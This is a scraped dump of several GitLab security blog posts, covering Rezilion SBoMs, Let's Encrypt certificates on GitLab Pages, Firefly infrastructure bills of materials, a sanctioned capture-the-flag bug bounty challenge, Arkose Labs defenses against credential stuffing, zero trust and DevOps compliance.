it in action below:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/5a-_l1bqWhQ\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n### Rezilion SBoM\n\nRezilion provides a dynamic SBoM directly within the GitLab UI. It displays all the software components your application uses, and determines their loaded/unloaded status for a quick risk assessment.\n\n![Screenshot of SBoM](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/rezilion-sbom.png)\n\n## Easily triage exploitable vulnerabilities\n\nNow that you have seen how to secure your application as well as its dependencies, you \ncan make sure addressing security issues does not slow down development. What matters most in your\nenvironment is to help save developers time and deliver secure products in a swift manner.\n\nHere is where GitLab + Rezilion comes into play: The integration reduces developers' patching efforts by enabling them to only display vulnerabilities that are exploitable. Rezilion will mark unexploitable vulnerabilities as false positives, which can then be sorted out. This can be done within the GitLab vulnerability report:\n\n![Display of exploitable vulnerabilities](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/rezilion-exploitable.png)\n\nCheck out the demo showing how GitLab and Rezilion work together:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/FgNp7FQFniE\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\nWith these tools in hand, not only will you be able to secure your application's code before it makes its way to production, but you'll be able to do it in a fast and efficient manner.\n\nTo learn more about the GitLab + Rezilion integration check out this [whitepaper](https://www.rezilion.com/wp-content/uploads/2022/03/Rezilion-GitLab-Solution-Overview.pdf). You can also sign up for a free trial of [GitLab Ultimate](/free-trial) and [Rezilion](https://rezilion.com/get-started).\n\nPhoto by \u003Ca href=\"https://unsplash.com/es/@jessicalewiscreative?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Jessica Lewis\u003C/a> on \u003Ca href=\"https://unsplash.com/s/photos/checklist?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>\n",[14,282,231],{"slug":3124,"featured":6,"template":677},"fast-and-efficient-sbom-with-gitlab-and-rezilion","content:en-us:blog:fast-and-efficient-sbom-with-gitlab-and-rezilion.yml","Fast And Efficient Sbom With Gitlab And Rezilion","en-us/blog/fast-and-efficient-sbom-with-gitlab-and-rezilion.yml","en-us/blog/fast-and-efficient-sbom-with-gitlab-and-rezilion",{"_path":3130,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3131,"content":3136,"config":3142,"_id":3144,"_type":16,"title":3145,"_source":17,"_file":3146,"_stem":3147,"_extension":20},"/en-us/blog/using-gitlab-pages-lets-encrypt",{"title":3132,"description":3133,"ogTitle":3132,"ogDescription":3133,"noIndex":6,"ogImage":3014,"ogUrl":3134,"ogSiteName":767,"ogType":768,"canonicalUrls":3134,"schema":3135},"GitLab and Let's Encrypt partner to improve website security","Learn how to add a Let's Encrypt TLS certificate to a website hosted and managed via GitLab Pages.","https://about.gitlab.com/blog/using-gitlab-pages-lets-encrypt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab and Let's Encrypt partner to improve website security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatima Sarah Khalid\"},{\"@type\":\"Person\",\"name\":\"Bryan Behrenshausen\"}],\n        \"datePublished\": \"2022-09-29\",\n      }",{"title":3132,"description":3133,"authors":3137,"heroImage":3014,"date":3139,"body":3140,"category":14,"tags":3141},[1528,3138],"Bryan Behrenshausen","2022-09-29","\n\n[Let's Encrypt](https://letsencrypt.org/), a free, automated, and open certificate authority, is integrated with GitLab to help DevOps teams encrypt web traffic and protect the confidentiality of information their users share with websites.\n\nThis article explains, step by step, how to add a Let's Encrypt Transport Layer Security ([TLS](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.html)) certificate to a website hosted and managed via GitLab Pages.\n\n## What is TLS?\n\nTLS is a protocol designed to make the internet more secure. Now more than two decades old, TLS, which evolved from Secure Sockets Layer (SSL), helps ensure that when users connect to websites — and transmit potentially sensitive data to and from those websites — they are doing so over a secure connection.\n\nIt's an important protocol because internet connections aren't necessarily secure by default. Malicious actors can intervene in the internet connection made to retreive web pages, and then they can view or even manipulate the data traveling through that connection. To minimize the chance of that happening, DevOps teams need to enable a way to guarantee - to certify - that the connection is genuine and secure.\n\nThat's where TLS comes in.\n\n## How does TLS work?\n\nTLS consists of several components, one of which is [a digital certificate](https://www.digicert.com/what-is-an-ssl-certificate), the goal of which is to secure data flowing to and from a website and help users trust in the integrity and confidentiality of that data.\n\nThe website or domain controller can install that certificate on a web server so that a user visiting the site can view it and feel assured their connection to the website is secure. The controller will ask a certifying body — called a certificate authority, or CA — to electronically sign and verify the certificate to indicate that the person or organization has control over the domain. Users can then view the certificate's details to scrutinize the connection.\n\nTo do this, simply load any TLS-protected website in a browser (\"https://\" will appear in the URL where the \"s\" indicates a secure connection), and, typically, a \"lock\" icon in the browser's URL bar. Clicking on that lock reveals certificate details.\n\nAs long as users trust the body that issued the certificate, they can feel more confident their connection to the website is secure. \n\n![GitLab's website, indicating the secure connection by clicking on the lock icon in the URL bar](https://about.gitlab.com/images/blogimages/secureeasy-blog-post-image-1.png)\n\n\nGitLab's website is delivered over a secure connection.\n{: .note.text-center}\n\n\n![GitLab's website indicating the security certificate is valid in the lock icon on the URL browser bar](https://about.gitlab.com/images/blogimages/secureeasy-blog-post-image-2.png)\n\n\nGitLab's website security certificate is valid.\n{: .note.text-center}\n\n\n## Let's Encrypt and TLS certificates\n\nHistorically, obtaining TLS certificates was a complicated and costly endeavor.\n\n[Let's Encrypt formed in 2013](https://www.crn.com/news/cloud/300074840/lets-encrypt-a-free-and-automated-certificate-authority-comes-out-of-stealth-mode.htm) to ensure everyone had access to the benefits of encryption. Part of the nonprofit [Internet Security Research Group](https://www.abetterinternet.org/), Let's Encrypt aims to simplify the process of issuing, installing, configuring, and managing TLS certificates. By doing so, it hopes to create an internet that is [more privacy-respecting and secure](https://letsencrypt.org/about/). \n\nLet's Encrypt is an open and secure certificate authority that makes the process of obtaining and applying TLS certificates easy, automated, and free for website administrators. GitLab's integration with Let's Encrypt enables anyone hosting a webpage using GitLab Pages to obtain and apply a TLS certificate with a single click.\n\n## Securing a website with GitLab Pages and Let's Encrypt\n\n[GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/index.html) allows anyone with a GitLab project to host and maintain a static website and, with [the help of Let's Encrypt](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.html), do so securely.\n\nTo start, create a GitLab pages website:\n\n- Create [a new project](https://docs.gitlab.com/ee/user/project/pages/index.html#how-it-works) (or [fork a sample project](https://docs.gitlab.com/ee/user/project/pages/getting_started/pages_new_project_template.html)) in your GitLab namespace.\n- Add your website's source code to that project.\n- Register a personal domain name, add it to the project, and [verify it](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/index.html#set-up-pages-with-a-custom-domain).\n\nYou're now ready to [add a TLS certificate](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/index.html#adding-an-ssltls-certificate-to-pages) to your site [with Let's Encrypt](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.html).\n\n* Navigate to your project's Settings, then choose Pages.\n* Find the domain you want to secure and select Details.\n* Click Edit in the top-right corner to modify those details.\n* Click the switch to activate Automatic certificate management using Let's Encrypt.\n* Click Save to save your changes.\n\nAnd that's it. Really.\n\nThe only thing left to do is wait. Obtaining a Let's Encrypt certificate for a website can take up to an hour. But once you've acquired one, you'll see the certificate information underneath the domain name listed in your Pages settings.\n\nAdditionally, you can enhance your website's security by forcing incoming traffic to connect to it securely. Just tick the box to enable \"Force HTTPS\".\n\n## Contributing to a more secure internet\n\nThe internet is an incredibly valuable tool, but with that value comes complexity. Let’s Encrypt provides digital certificates to more than 290 million websites, working to create an internet that is more secure and respectful of the privacy of its users. \n\nAt GitLab, we believe that [everyone can contribute](/company/mission/#everyone-can-contribute) — and that includes contributing to a safer, more secure internet. By obtaining and setting up an TLS certificate, DevOps teams benefit from and contribute to the adoption of internet encryption. Internet security shouldn’t be difficult, and GitLab hopes that our integration with Let’s Encrypt supports a more secure internet for everyone.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/_wasba1jCoI\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n",[958,14,267],{"slug":3143,"featured":6,"template":677},"using-gitlab-pages-lets-encrypt","content:en-us:blog:using-gitlab-pages-lets-encrypt.yml","Using Gitlab Pages Lets Encrypt","en-us/blog/using-gitlab-pages-lets-encrypt.yml","en-us/blog/using-gitlab-pages-lets-encrypt",{"_path":3149,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3150,"content":3156,"config":3162,"_id":3164,"_type":16,"title":3165,"_source":17,"_file":3166,"_stem":3167,"_extension":20},"/en-us/blog/introducing-the-infrastructure-bill-of-materials",{"title":3151,"description":3152,"ogTitle":3151,"ogDescription":3152,"noIndex":6,"ogImage":3153,"ogUrl":3154,"ogSiteName":767,"ogType":768,"canonicalUrls":3154,"schema":3155},"Introducing the infrastructure bill of materials","Pair IBoMs and SBOMs for a more secure software supply chain.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671160/Blog/Hero%20Images/ibom.jpg","https://about.gitlab.com/blog/introducing-the-infrastructure-bill-of-materials","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing the infrastructure bill of materials\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"}],\n        \"datePublished\": \"2022-09-22\",\n      }",{"title":3151,"description":3152,"authors":3157,"heroImage":3153,"date":3159,"body":3160,"category":14,"tags":3161},[3158],"Cindy Blake","2022-09-22","\nAll eyes are on software supply chain security and organizations are busily generating software bills of materials, or SBOMs. But many are leaving out an equally critical part of software supply chain security: their infrastructure. GitLab has partnered with Firefly to help DevOps teams create bills of materials across the entire cloud footprint. \n \nThe SBOM, which is an ingredient list that identifies third-party and open source code used within software (a.k.a. dependencies), came into the spotlight with the U.S. Executive Order on \"Improving the Nation's Cybersecurity\" and its resulting [NIST guidelines to secure the software supply chain](/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/).\n \nWhile SBOMs begin to peel back the layers on risky code using elements such as [composition analysis](/handbook/engineering/development/sec/secure/composition-analysis/) to scan for dependencies in containers, more attention must be paid to how cloud infrastructure, a critical part of the software development lifecycle, is managed and secured.\n \n## Assessing cloud infrastructure\n \nWhen people think about software integrity, they tend to think about applications. Yet with the rise of cloud computing, cloud native applications, and modern CI/CD pipelines, there is a considerable amount of code used to automate how infrastructure resources are provisioned, secured, and consumed. In fact, the cloud is defined using [infrastructure-as-code](/blog/fantastic-infrastructure-as-code-security-attacks-and-how-to-find-them/) (IaC), and most of the power attributed to applications relies on infrastructure capabilities, configurations, permissions, and relations. Understanding an application's relationship with the underlying infrastructure and how it is configured is just as important to supply chain security as understanding an application’s usage of third-party and open source code. \n \nThe challenge is that it’s not easy to do. This infrastructure software, often referred to as cloud assets, includes resources provided by cloud services, orchestrators like Kubernetes, and even policies. Google Cloud nicely [lists its assets](https://cloud.google.com/asset-inventory/docs/supported-asset-types) as an example. Increasingly, companies are [using more than one cloud service provider](https://www.cncf.io/wp-content/uploads/2022/02/CNCF-AR_FINAL-edits-15.2.21.pdf) for different workloads, and each service uses different constructs. Even with a single provider, many companies organize their applications into multiple AWS accounts or GCP projects. It can be difficult to see what assets an organization has across these silos.\n \n## Enter the IBoM\n \nDespite these challenges, just as an organization needs to list all the application code dependencies, it also needs to list all the infrastructure components across multiple clouds, multiple accounts, and Kubernetes. Together, they make up the infrastructure bill of materials, or IBoM. These assets must be tracked and managed closely as they can be changed and, if not properly governed, can wreak havoc on the stability and consistency of an application’s performance, creating troubleshooting problems.\n \nThe IBoM is the first key to understanding an organization’s complete cloud footprint and being able to better secure the software supply chain.\n \nThe second key, and equally important, is managing the integrity of that IBoM. The configuration of cloud assets such as S3 buckets, identity and access management roles, EC2, database instances, and Kubernetes clusters determines access to data and what resources are available to an application. The configuration also impacts the stability of the infrastructure upon which the applications depend.\n \nWith the surge of cloud native applications, the burden of managing this infrastructure has increased exponentially. To meet the challenge of governing this complex infrastructure, organizations have been codifying these cloud assets into IaC using tools like Terraform, Pulumi, and Helm. Once codified as IaC, they can utilize version control and be governed with the same rigor as application software – all within a DevOps platform like GitLab. This approach is typically called [GitOps](/topics/gitops/). It's important for the security of your supply chain because it provides visibility, traceability, and policy enforcement for your infrastructure software.\n \n## How Firefly and GitLab work together\n \n[Firefly’s Cloud Asset Management solution](https://www.gofirefly.io/) can help GitLab’s DevOps platform manage both application software and cloud infrastructure software - across an organization’s cloud footprint. Firefly essentially extends the GitLab [GitOps solution](/solutions/gitops/) to cover even more of your cloud and provides additional governance via drift detection and remediation.\n\nFirst, Firefly discovers all of an organization’s cloud infrastructure across AWS accounts, GCP projects, Kubernetes, and even SaaS application environments, providing an IBoM in one dashboard. Unmanaged and misconfigured environments are identified for DevOps. With a click, these unmanaged cloud assets are automatically coded into IaC such as Terraform or Helm, potentially saving engineering time and getting DevOps teams toward a more fully managed software supply chain.\n\nNow, as IaC, these cloud assets can be monitored for changes. Firefly continuously assesses drift between an organization’s desired IaC state and its actual cloud and Kubernetes configurations, helping ensure these configurations and policies remain enforced. When changes are made to either IaC or the underlying infrastructure, Firefly automatically creates a GitLab merge request to ensure changes to an organization’s infrastructure software are managed using DevOps automated CI/CD.\n \nFirefly and GitLab together enable DevOps teams to add to the security of their supply chains by generating IBoMs, applying version control, automation, and governance to the applications and infrastructure upon which they rely. Learn more about the [Firefly/GitLab integration](https://www.gofirefly.io/partners/gitlab) and give Firefly a try. \n\n\n_Blake is vice president of marketing at Firefly._\n\nCover image by [Edge2Edge Media](https://unsplash.com/photos/t1OalCBUYRc) on Unsplash\n{: .note}\n",[14,231,958],{"slug":3163,"featured":6,"template":677},"introducing-the-infrastructure-bill-of-materials","content:en-us:blog:introducing-the-infrastructure-bill-of-materials.yml","Introducing The Infrastructure Bill Of Materials","en-us/blog/introducing-the-infrastructure-bill-of-materials.yml","en-us/blog/introducing-the-infrastructure-bill-of-materials",{"_path":3169,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3170,"content":3176,"config":3182,"_id":3184,"_type":16,"title":3185,"_source":17,"_file":3186,"_stem":3187,"_extension":20},"/en-us/blog/capture-the-flag-in-our-bug-bounty-program",{"title":3171,"description":3172,"ogTitle":3171,"ogDescription":3172,"noIndex":6,"ogImage":3173,"ogUrl":3174,"ogSiteName":767,"ogType":768,"canonicalUrls":3174,"schema":3175},"Give it a go: Capture the flag for $20K USD in our bug bounty program","We created a private project containing a file with a flag. Use a permission-related vulnerability to bypass access control (without user interaction) and read the flag for a $20K USD bonus.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670960/Blog/Hero%20Images/sigmund-i2VgGp5BwJg-unsplash.jpg","https://about.gitlab.com/blog/capture-the-flag-in-our-bug-bounty-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Give it a go: Capture the flag for $20K USD in our bug bounty program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2022-08-24\",\n      }",{"title":3171,"description":3172,"authors":3177,"heroImage":3173,"date":3179,"body":3180,"category":14,"tags":3181},[3178],"Heather Simpson","2022-08-24","\n\n📣 We're issuing a challenge to all the amazing bug bounty hunters out there who make products and organizations like ours more secure. 👇\n\n## Capture the Flag (CTF) first and a $20,000 USD bounty is yours.  \n\nIt's that simple. The idea... not capturing the flag... at least that's our hope. But show us what you got, please. 😛\n\n### Why are we doing this?\n\nOur aim with this CTF is to tackle potential vulnerabilities with *lower* CVSS scores but **high business impact** that may not get as much attention in our bug bounty program. We want to show those vulns the love through this CTF.\n\n### How do you get started?\n\nWe've created a private group with a private project that contains a file with a flag. Be the first person to use a permission-related vulnerability to bypass access control, without user interaction, read the flag. and voilà, the $20,000 USD bonus is yours. 🎉 You can get all the details and requirements in our policy: [https://hackerone.com/gitlab](https://hackerone.com/gitlab).  \n\n### What else do you need to know?\n\n*We thought you might have questions, so we've created a few FAQ.*\n\n**Q: How is this different from other CTFs?**   \n**A:**  There is no known solution yet :). Also, this is a single, ongoing challenge. The sole purpose here is to capture a flag inside a private project of a private group on GitLab.com, with the intent of demonstrating the ability to expose a real-world vulnerability. Similar to most CTFs, we're offering a prize, and valid bug bounty reports of permission-related vulnerabilities that contain this flag will receive a bonus of $20,000 USD.\n\n**Q: How will I know when someone has already captured the flag?**  \n**A:**  Currently, there is one (1) flag available. The bonus will be awarded to the first person to find the flag and file a report on our [Bug Bounty Program with HackerOne](https://hackerone.com/gitlab?type=team), including the steps to successfully reproduce. We'll update our policy on HackerOne as soon as the flag is found. You can stay informed by subscribing to program updates on our bug bounty program with HackerOne. \n\n**Q: Can the flag be captured multiple times?**  \n**A:**  The first valid report with the flag will be awarded the bonus, and, at that time, the CTF will be paused. After testing and improving our defenses, we will re-enable the flag and update our bug bounty program policy to indicate the CTF is open again.\n\n**Q: Do I actually have to obtain the flag, or just prove that I can obtain the flag?**  \n**A:**  Yes, you must obtain the flag and include it in a report of a permission-related vulnerability that can bypass access control without user interaction. We have provided the group name (gitlab-h1-bbp-ctf-group) and group ID (55842926) in order to make it clear where the flag can be found.\n\n**Q: If I capture the flag, do I get the $20K USD bounty plus any applicable regular bounties?**  \n**A:**  Yes, but please keep in mind that the CTF bonus is specifically for permission-related vulnerabilities that can bypass access control without user interaction. Also, please note that the use of a leaked administrator-privileged token is not eligible for the CTF, but is still eligible for our program's maximum bounty payout.\n\n## Stay updated on the CTF\n\nBe sure to `subscribe` 🔔 to our [program on HackerOne](https://hackerone.com/gitlab), as we'll update our policy each time the flag is captured (which means we'll need to test, fix, and reset) as well as when the flag is available again.  \n\n**Happy hacking and we look forward to your next report!**\n\n\nCover image by [Sigmund](https://unsplash.com/@sigmund?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/maze?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[14],{"slug":3183,"featured":6,"template":677},"capture-the-flag-in-our-bug-bounty-program","content:en-us:blog:capture-the-flag-in-our-bug-bounty-program.yml","Capture The Flag In Our Bug Bounty Program","en-us/blog/capture-the-flag-in-our-bug-bounty-program.yml","en-us/blog/capture-the-flag-in-our-bug-bounty-program",{"_path":3189,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3190,"content":3196,"config":3203,"_id":3205,"_type":16,"title":3206,"_source":17,"_file":3207,"_stem":3208,"_extension":20},"/en-us/blog/gitlab-adds-further-measures-to-combat-credential-stuffing-and-other-types-of-platform-abuse",{"title":3191,"description":3192,"ogTitle":3191,"ogDescription":3192,"noIndex":6,"ogImage":3193,"ogUrl":3194,"ogSiteName":767,"ogType":768,"canonicalUrls":3194,"schema":3195},"How GitLab is fighting credential stuffing and platform abuse","Integration of fraud detection and prevention tool into authentication flow increases risk reduction.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671606/Blog/Hero%20Images/workflow-tips-security-quality-cover.jpg","https://about.gitlab.com/blog/gitlab-adds-further-measures-to-combat-credential-stuffing-and-other-types-of-platform-abuse","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab adds further measures to combat credential stuffing and other types of platform abuse\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Monmayuri Ray\"}],\n        \"datePublished\": \"2022-08-19\",\n      }",{"title":3197,"description":3192,"authors":3198,"heroImage":3193,"date":3200,"body":3201,"category":14,"tags":3202},"GitLab adds further measures to combat credential stuffing and other types of platform abuse",[3199],"Monmayuri Ray","2022-08-19","\n\nWith an observed increase in credential stuffing attacks, we at GitLab send periodic reminders to users to [enable multifactor authentication](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html), which helps to reduce this type of attack but does not entirely eliminate it. Since MFA is a choice per user discretion, we have some users who have not enabled MFA.\n[Credential stuffing attacks](https://owasp.org/www-community/attacks/Credential_stuffing) are particularly threatening because they are a popular method by which scammers take over users’ accounts, at scale.\n \nTo further reduce the threat of credential stuffing attacks on GitLab.com, the anti-abuse team at GitLab implemented additional protections when users authenticate. We contracted with fraud prevention and account security firm Arkose Labs to integrate [Arkose Protect](https://www.arkoselabs.com/arkose-protect/) into the user login flow to validate sessions before allowing successful login. This initiative was prioritized as part of a rapid action process where there was collaboration among various teams, engineers, and Arkose Labs for the implementation to go live on April 29, 2022.\n\nThe rapid action implementation reduces the risk of account takeover for GitLab.com users, while also reducing spam and crypto mining abuse of our users' projects.\n\n## How this risk reduction works\n\nWe look into several checks within the authentication flow, which include change in IP address, user activity, and failed login attempts for Arkose Labs to evaluate the risk of the session. The risk score is based on a multi-classification machine learning model of “high”, “medium”, “low”.\n\nIf the risk is rated low, the user is allowed to proceed to authenticate and has the same experience they had previously. Approximately 10% of the time the risk is higher. In that case, the user must complete an enhanced CAPTCHA from Arkose Labs before they are allowed to authenticate. Based on the feedback data, the score system is also adjusted and learns from reported false positives and false negatives.\n\nThe flow:\n\n![the flow](https://about.gitlab.com/images/blogimages/credentialstuffing3.png){: .shadow}\n\nImplementing these security controls reduces the risk of automated password guessing while also reducing automated account registrations that, as mentioned above, are used by some attackers to spam or do crypto mining. The reduction in abuse has been significant: Accounts blocked by automation and manually by our trust and safety team members were reduced by more than 40% as a result of these new features.\n\n## The future\n\nThe anti-abuse team is planning future work to further reduce abuse of our platform while minimizing the impact on legitimate users when they register for an account, authenticate, and use features that are sometimes abused (such as CI jobs being abused to do crypto mining). For example, we plan to have a holistic user scoring engine that can provide a trust score based on every activity. \n\nLearn more about [how GitLab works with Arkose Protect](https://docs.gitlab.com/ee/integration/arkose.html).\n\n",[2849,675,14],{"slug":3204,"featured":6,"template":677},"gitlab-adds-further-measures-to-combat-credential-stuffing-and-other-types-of-platform-abuse","content:en-us:blog:gitlab-adds-further-measures-to-combat-credential-stuffing-and-other-types-of-platform-abuse.yml","Gitlab Adds Further Measures To Combat Credential Stuffing And Other Types Of Platform Abuse","en-us/blog/gitlab-adds-further-measures-to-combat-credential-stuffing-and-other-types-of-platform-abuse.yml","en-us/blog/gitlab-adds-further-measures-to-combat-credential-stuffing-and-other-types-of-platform-abuse",{"_path":3210,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3211,"content":3217,"config":3222,"_id":3224,"_type":16,"title":3225,"_source":17,"_file":3226,"_stem":3227,"_extension":20},"/en-us/blog/why-devops-and-zero-trust-go-together",{"title":3212,"description":3213,"ogTitle":3212,"ogDescription":3213,"noIndex":6,"ogImage":3214,"ogUrl":3215,"ogSiteName":767,"ogType":768,"canonicalUrls":3215,"schema":3216},"Why DevOps and zero trust go together","Learn how DevOps and zero trust have matured into a solid pairing and the security considerations that come into play.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683257/Blog/Hero%20Images/devopszerotrust.jpg","https://about.gitlab.com/blog/why-devops-and-zero-trust-go-together","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why DevOps and zero trust go together\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-08-17\",\n      }",{"title":3212,"description":3213,"authors":3218,"heroImage":3214,"date":3219,"body":3220,"category":14,"tags":3221},[3019],"2022-08-17","\n\nWhen the concept of zero trust was first [introduced in 2010 by Forrester Research](https://media.paloaltonetworks.com/documents/Forrester-No-More-Chewy-Centers.pdf), it seemed directly aimed at enterprise security professionals, who were struggling to keep the network perimeter safe from breaches and attacks. As enterprises and zero trust frameworks have evolved, DevOps has become the perfect home for these principles.\n\nZero trust requires all users – human and machine, internal or external – to be authenticated, authorized, and continuously validated to first access and continue to access resources. These requirements are fully aligned with modern application development and the advent of DevSecOps, where security continues to shift left in the development life cycle.\n\nIn 2019, GitLab Staff Security Engineer [Mark Loveless](/company/team/#mloveless) began to examine the [opportunities in marrying DevOps and zero trust](/blog/evolution-of-zero-trust/). Much has changed since then, including a greater acceptance, adoption, and, in some cases, requirement of zero trust frameworks. For instance, in its [executive order on cybersecurity](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/), the Biden administration referenced zero trust and the National Institute of Standards and Technology (NIST) called out zero trust architecture as an approach to its [Secure Software Development Framework](/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/) standard.\n\n## Addressing zero trust confusion\n\nAs zero trust strategies have become more popular, confusion in the market has increased. For instance, zero trust is not a single product or service – it is a strategy applied to a security framework.\n\n“Companies are marketing their zero trust solutions as _THE_ solution. They claim that zero trust solves everything wrong and you’ll be secure. No single solution out there addresses all of the authentication problems that organizations encounter,” Loveless says.\n\nAnother point of confusion, according to Loveless, is the fact that some early zero-trust backers have not evolved with zero trust itself. “The core beginnings of zero trust go back a couple of decades, originally centered around users and specific systems. There is an entire world of newer technology, including the cloud, automation, and AI, that has emerged since then that is out there and completely underrepresented in approaches to zero trust,” he says.\n\n## How zero trust fits into modern DevOps\n\nZero trust has three core components that must be fully understood to be able to map it to modern application development:\n\n- Data must be protected. Before the data can be accessed, the identity of who or what (in the case of automation) is accessing the data needs to be determined and a decision has to be made as to whether that access will be granted.\n\n- The identity must be extremely specific. The requestor must be proven, preferably by cryptographic means, to be who or what they say they are.\n\n- A secure channel for accessing the data must be able to be established. After authentication, data in transit should be protected by a secure channel and that data should only be revealed to the requestor.\n\nWhere zero trust strategies often go astray is assuming that the requestor is human. As automation becomes more prevalent in DevOps, DevSecOps must account for the likelihood that a requestor could be automated. But this inevitably raises questions, according to Loveless, such as:\n\n- Is the automated request coming from a trusted device?\n- Who initiated the action that led to the automated process requesting the data?\n- Was it an automated process that kicked off a secondary automated process that is now requesting the data?\n- Does the person that set up the automated processes still have access to these processes’ credentials?\n\nLoveless says organizations might need to rethink their authentication and authorization approaches to get the most out of the DevOps-zero trust pairing because automation requires a greater level of sophistication. “Mutual authentication strategies like managing your own certificate authority or setting up mutual TLS can be challenging,” Loveless says. Instead, organizations might consider [implementing automated multifactor authentication tools such as OpenID Connect](https://docs.gitlab.com/ee/integration/openid_connect_provider.html). “One solution might negate another solution, or solving for one cloud provider might exclude another, creating limits,” he says.  \n\n## How GitLab’s DevOps Platform supports zero trust\n\nGitLab’s cohesion with zero trust stems largely from its belief that it is not a single solution to zero trust, but instead part of an ecosystem in support of zero trust principles. \n\nOrganizations can utilize GitLab to enact its zero trust framework, including the ability to:\n- set and enforce granular role-based access for all users and machines\n- authenticate users and machines before allowing access\n- require continuous authentication and authorization\n- monitor the security status of users and machines and quickly respond to issues\n- classify data and set and enforce access levels accordingly\n- audit data access in real-time and generate compliance reports\n\n## Going forward\n\nGitLab’s commitment to zero trust is foundational and ongoing. As zero trust frameworks evolve and more standards bodies require adherence to zero trust principles, GitLab will continue to be a trusted partner in meeting these demands.\n\nCover image by Max Tcvetkov on [Unsplash](https://unsplash.com/@your_scorpion?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n\n",[2849,14,715],{"slug":3223,"featured":6,"template":677},"why-devops-and-zero-trust-go-together","content:en-us:blog:why-devops-and-zero-trust-go-together.yml","Why Devops And Zero Trust Go Together","en-us/blog/why-devops-and-zero-trust-go-together.yml","en-us/blog/why-devops-and-zero-trust-go-together",{"_path":3229,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3230,"content":3236,"config":3242,"_id":3244,"_type":16,"title":3245,"_source":17,"_file":3246,"_stem":3247,"_extension":20},"/en-us/blog/the-importance-of-compliance-in-devops",{"title":3231,"description":3232,"ogTitle":3231,"ogDescription":3232,"noIndex":6,"ogImage":3233,"ogUrl":3234,"ogSiteName":767,"ogType":768,"canonicalUrls":3234,"schema":3235},"The importance of compliance in DevOps","A basic understanding of what compliance means and how it impacts DevOps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670037/Blog/Hero%20Images/auto-deploy-google-cloud.jpg","https://about.gitlab.com/blog/the-importance-of-compliance-in-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The importance of compliance in DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lauren Minning\"}],\n        \"datePublished\": \"2022-08-15\",\n      }",{"title":3231,"description":3232,"authors":3237,"heroImage":3233,"date":3239,"body":3240,"category":14,"tags":3241},[3238],"Lauren Minning","2022-08-15","\n\nDevOps teams must develop secure software, but a key part of security is compliance. Achieving compliance can be time-consuming, stressful, and resource intensive, but it’s increasingly a job DevOps teams – and developers specifically – are being asked to bake into their processes. \n\nHere’s a look at how compliance in DevOps works.\n\n## It starts with standards\n\nOrganizations of all sizes rely on nationally or internationally recognized standards to prove their security postures to customers, partners, and shareholders. Companies need to create systems that streamline compliance with a potentially large number of standards, such as [NIST](https://www.nist.gov), [ISO](https://www.iso.org/home.html), [SLSA levels](https://slsa.dev/spec/v0.1/index), [GDPR](https://gdpr-info.eu), [SOX](https://en.wikipedia.org/wiki/Sarbanes–Oxley_Act), 